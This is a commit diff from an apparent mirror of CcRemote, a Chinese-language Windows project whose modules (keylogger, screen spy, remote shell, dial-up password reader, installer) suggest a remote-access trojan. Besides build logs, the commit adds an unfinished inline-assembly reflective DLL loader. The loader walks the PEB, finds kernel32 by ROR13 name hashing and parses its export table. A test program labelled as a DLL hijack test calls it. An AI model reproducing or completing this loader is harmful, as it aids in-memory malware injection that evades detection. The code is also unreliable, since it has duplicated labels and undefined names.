mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-13 07:49:51 +00:00
PEB汇编
This commit is contained in:
changcheng
parent
d1c3b70e8f
commit
d2afef0ac1
Binary file not shown.
@ -1,28 +1,28 @@
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\regmanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditopt.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
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f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regmanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditopt.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\strcry.obj
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
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g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
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@ -8,14 +8,17 @@ g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从
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g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
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g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
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g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
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g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(50): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
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g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
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g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
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g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(224): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
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g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(229): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
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g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
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g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(252): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
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g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
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g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(421): warning C4102: “loc_46327B”: 未引用的标签
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LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”；已忽略
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正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
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正在生成代码
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1 of 375 functions ( 0.3%) were compiled, the rest were copied from previous compilation.
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1 of 380 functions ( 0.3%) were compiled, the rest were copied from previous compilation.
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0 functions were new in current compilation
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0 functions had inline decision re-evaluated but remain unchanged
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已完成代码的生成
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@ -6,7 +6,12 @@
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#include "common/install.h"
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#include <stdio.h>
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#include <shlwapi.h>
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#pragma comment(lib,"shlwapi.lib")
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#include <iostream>
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#include <fstream>
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//using namespace std;
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struct Connect_Address
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@ -231,6 +236,84 @@ extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
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FILE * pFile;
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long lSize;
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char * buffer;
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size_t result;
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extern "C" __declspec(dllexport) bool InitTestReflectiveLoader()
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{
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// 一个不漏地读入整个文件，只能采用二进制方式打开
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pFile = fopen(".\\..\\..\\bin\\server\\CcMainDll.dll", "rb");
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if (pFile == NULL)
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{
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fputs("File error", stderr);
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printf("open file fail");
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return false;
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}
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// 获取文件大小
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fseek(pFile, 0, SEEK_END);
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lSize = ftell(pFile);
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rewind(pFile);
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// 分配内存存储整个文件
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buffer = (char*)malloc(sizeof(char)*lSize);
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if (buffer == NULL)
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{
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fputs("Memory error", stderr);
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printf("Memory alloc falil");
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return false;
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}
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// 将文件拷贝到buffer中
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result = fread(buffer, 1, lSize, pFile);
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if (result != lSize)
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{
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fputs("Reading error", stderr);
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printf("Load file to memory falil");
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return false;
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}
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return true;
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}
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inline DWORD GetCurrentPositionAddress()
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{
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_asm{
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@ -242,38 +325,60 @@ inline DWORD GetCurrentPositionAddress()
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}
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}
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inline DWORD call_ror_0xD()
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{
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_asm {
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push ebp
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mov ebp, esp
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mov eax, [ebp + 8]
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ror eax, 0x0D
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pop ebp
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retn
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}
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}
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enum LocalEnum
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{
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Nop,
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memAddress,
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pLoadLibraryA,
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pGetProcAddress,
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pVirtualAlloc,
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pVirtualProtect,
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pNtFlushInstructionCache,
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varLocalFindPE
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memAddress = 4,
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pLoadLibraryA = 8,
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pGetProcAddress = 0xC,
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pVirtualAlloc = 0x10,
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pVirtualProtect = 0x14,
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pNtFlushInstructionCache = 0x18,
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varLocalFindPE = 0x1c,
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varLocalFS30_A = 0x20, // var_8
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varLocalFS30_B = 0x24, // varLocalFS30_B
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var_4 = 0x28, // FullDllName
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BaseDllName = 0x2c, // FullDllName
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name_hash = 0x30,
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var_20 = 0x34
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};
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extern "C" __declspec(dllexport) void ReflectiveLoader()
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{
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_asm{
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push ebp
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mov ebp, esp
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sub esp, 0x100
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sub esp, 0x100 // 抬高堆栈创建局部变量空间
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mov eax, 4
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initLocalVar:
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initLocalVar: // 循环initLocalVar初始化局部变量空间为0
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mov [ebp + eax], 0
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inc eax
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cmp eax ,0x100
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jnz initLocalVar
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call GetCurrentPositionAddress //获取当前位置地址
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mov [ebp + memAddress], eax //保存当前代码所在的地址 memAddress
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call GetCurrentPositionAddress // 获取当前位置地址
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mov eax, buffer
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mov [ebp + memAddress], eax // 保存当前代码所在的地址 memAddress
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addressAdd :
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mov eax, 1
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test eax, eax //判断eax是否获取到当前地址
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test eax, eax // 判断eax是否获取到当前地址
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jz find_success
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mov ecx, [ebp + memAddress] // 查找DOS头
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@ -285,27 +390,112 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
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mov eax, [ebp + memAddress]
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mov ecx, [eax + 0x3C] // +3C 找到DOS Header e_lfanew
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mov [ebp + varLocalFindPE], ecx
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cmp [ebp + varLocalFindPE], 0x40
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cmp dword ptr[ebp + varLocalFindPE], 0x40
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jb noFindFlag // 地址address - 1
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cmp [ebp + varLocalFindPE], 0x400
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jnb noFindFlag //; 地址address - 1
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cmp dword ptr[ebp + varLocalFindPE], 0x400
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jnb noFindFlag // 地址address - 1
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mov edx, [ebp + varLocalFindPE]
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add edx, [ebp + memAddress]
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mov [ebp + varLocalFindPE], edx
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mov eax, [ebp + varLocalFindPE]
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cmp dword ptr[eax], 0x4550 //; 判断PE Header Signature PE标志
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jnz noFindFlag //; 地址address - 1
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cmp dword ptr[eax], 0x4550 // 判断PE Header Signature PE标志
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jnz noFindFlag // 地址address - 1
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jmp find_success // 找到了singtrue 跳转
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noFindFlag :
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noFindFlag :
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mov ecx, [ebp + memAddress]; 地址address - 1
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sub ecx, 1
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mov [ebp + memAddress], ecx
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jmp addressAdd
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find_success:
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mov edx, fs:[0x30] // 获取PEB结构地址
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mov [ebp + varLocalFS30_A], edx
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mov eax, [ebp + varLocalFS30_A]
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mov ecx, [eax + 0x0C] // 获取Ptr32 _PEB_LDR_DATA 进程加载模块链表(Ldr)
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mov [ebp + varLocalFS30_A], ecx
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mov edx, [ebp + varLocalFS30_A]
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mov eax, [edx + 0x14] // 获取结构中InMemoryOrderModuleList 顺序模块列表
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mov [ebp + varLocalFS30_B], eax
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loc_46327B:
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cmp [ebp + varLocalFS30_B], 0
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jz find_moudle_null
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mov ecx, [ebp + varLocalFS30_B]
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mov edx, [ecx + 0x28] // FullDllName_buff 模块名称
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mov [ebp + BaseDllName], edx
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mov eax, [ebp + varLocalFS30_B]
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mov cx, [eax + 0x24] // UNICODE_STRING FullDllName Length
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mov [ebp + var_4], cx // var_4保存FullDllName字符串长度
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mov [ebp + name_hash], 0
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calc_hash:
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mov edx, [ebp + name_hash]
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push edx
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call call_ror_0xD
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add esp, 4
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mov [ebp + name_hash], eax // ror后的eax为返回值
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mov eax, [ebp + BaseDllName]
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movzx ecx, byte ptr[eax]
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cmp ecx, 0x61 // 判断获取到的模块字符串的指定位置，小于跳转，地址 + 1，比对下一个字母
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jl less_flage
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mov edx, [ebp + BaseDllName] // 获取名称byte
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movzx eax, byte ptr[edx] // eax = byte
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mov ecx, [ebp + name_hash] // 计算值
|
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lea edx, [ecx + eax - 0x20] // hash + FullDllName[index] - 0x20
|
||||
mov [ebp + name_hash], edx // 得到结果
|
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jmp calc_end
|
||||
|
||||
less_flage:
|
||||
add ecx, [ebp + name_hash]
|
||||
mov[ebp + name_hash], ecx
|
||||
|
||||
calc_end:
|
||||
mov edx, [ebp + BaseDllName] // 名称地址 + 1
|
||||
add edx, 1
|
||||
mov [ebp + BaseDllName], edx
|
||||
mov ax, [ebp + var_4] // 字符串名称长度 - 1
|
||||
sub ax, 1
|
||||
mov [ebp + var_4], ax
|
||||
movzx ecx, [ebp + var_4]
|
||||
test ecx, ecx // 判断长度是否为0，没有为0继续计算hash
|
||||
jnz calc_hash // 计算简单的模块名称name_hash
|
||||
|
||||
cmp [ebp + name_hash], 0x6A4ABC5B // 6A4ABC5B = Kernel32
|
||||
jnz no_Kernel32_hash // 3CFA685D = ntdll
|
||||
mov edx, [ebp + varLocalFS30_B] // 获取结构中InMemoryOrderModuleList
|
||||
mov eax, [edx + 0x10]
|
||||
mov [ebp + varLocalFS30_A], eax // +10偏移获取DllBase基址
|
||||
mov ecx, [ebp + varLocalFS30_A]
|
||||
mov edx, [ebp + varLocalFS30_A]
|
||||
add edx, [ecx + 0x3C] // 获取PE IMAGE_DOS_HRADER e_lfanew
|
||||
mov [ebp + var_20], edx
|
||||
mov eax, 8
|
||||
imul ecx, eax, 0 // imul 1, 2, 3 2 3乘积保存到1
|
||||
mov edx, [ebp + var_20]
|
||||
lea eax, [edx + ecx + 0x78] // 获取IMAGE_OPTIONAL_HEADER -> IMAGE_DATA_DIRECTORY[0] EXPORT 导出表
|
||||
mov [ebp + exp_AddressOfNames], eax
|
||||
mov ecx, [ebp + exp_AddressOfNames]
|
||||
mov edx, [ebp + varLocalFS30_A] // edx = 基地址
|
||||
add edx, [ecx] // 基地址 + 导出表地址
|
||||
mov [ebp + var_20], edx
|
||||
mov eax, [ebp + var_20]
|
||||
mov ecx, [ebp + varLocalFS30_A]
|
||||
add ecx, [eax + 0x20] // 获取 IMAGE_EXPORT_DIRECTORY +0x20 AddressOfNames
|
||||
mov [ebp + exp_AddressOfNames], ecx
|
||||
mov edx, [ebp + var_20]
|
||||
mov eax, [ebp + varLocalFS30_A]
|
||||
add eax, [edx + 0x24] // 获取 IMAGE_EXPORT_DIRECTORY +0x24 AddressOfNameOrdinals
|
||||
mov [ebp + AddressOfNameOrdinals], eax
|
||||
mov ecx, 4
|
||||
mov [ebp + var_4], cx
|
||||
|
||||
|
||||
find_success:
|
||||
|
||||
|
||||
find_moudle_null:
|
||||
|
||||
|
||||
}
|
||||
|
||||
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@ -1 +1 @@
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f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠，因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠，因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
正在生成代码
|
||||
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
|
||||
@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
|
||||
@ -11,6 +11,16 @@ int main()
|
||||
//载入服务端dll hijack test
|
||||
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
|
||||
|
||||
typedef int(_cdecl *TestRunInit)();
|
||||
|
||||
TestRunInit InitTestReflectiveLoader = (TestRunInit)GetProcAddress(hServerDll, "InitTestReflectiveLoader");
|
||||
|
||||
if (InitTestReflectiveLoader != NULL)
|
||||
{
|
||||
InitTestReflectiveLoader(); //调用这个函数
|
||||
}
|
||||
|
||||
|
||||
//声明导出函数类型--导出的TestRun函数
|
||||
typedef void(_cdecl *TestRunT)();
|
||||
//寻找dll中导出函数
|
||||
|
||||
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Reference in New Issue
Block a user